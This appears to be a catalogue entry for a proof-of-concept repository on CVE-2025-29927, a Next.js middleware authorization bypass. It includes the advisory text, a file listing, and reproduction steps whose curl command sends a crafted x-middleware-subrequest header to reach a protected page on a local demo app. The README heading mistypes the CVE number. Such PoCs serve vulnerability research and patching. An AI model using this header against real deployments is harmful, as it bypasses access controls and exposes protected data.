CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source

https://github.com/yuzu-juice/CVE-2025-29927_demo

Associated Vulnerability

Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

Description

This repository is for educational and research purposes.

Readme

# CVE-2025-29937

## 再現手順

```
npm i
npm run dev
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
```

File Snapshot


 [4.0K]  /data/pocs/41bd1871ba9e9784b8af0e5a73d77266686a21ce
├── [ 133]  next.config.ts
├── [ 635]  package.json
├── [ 59K]  package-lock.json
├── [  81]  postcss.config.mjs
├── [4.0K]  public
│   ├── [ 391]  file.svg
│   ├── [1.0K]  globe.svg
│   ├── [1.3K]  next.svg
│   ├── [ 128]  vercel.svg
│   └── [ 385]  window.svg
├── [ 183]  README.md
├── [4.0K]  src
│   ├── [4.0K]  app
│   │   ├── [ 25K]  favicon.ico
│   │   ├── [ 488]  globals.css
│   │   ├── [ 467]  layout.tsx
│   │   ├── [ 643]  page.tsx
│   │   ├── [4.0K]  protected
│   │   │   └── [ 21K]  page.tsx
│   │   └── [4.0K]  unauthorized
│   │       └── [ 598]  page.tsx
│   └── [ 559]  middleware.ts
└── [ 602]  tsconfig.json

5 directories, 18 files

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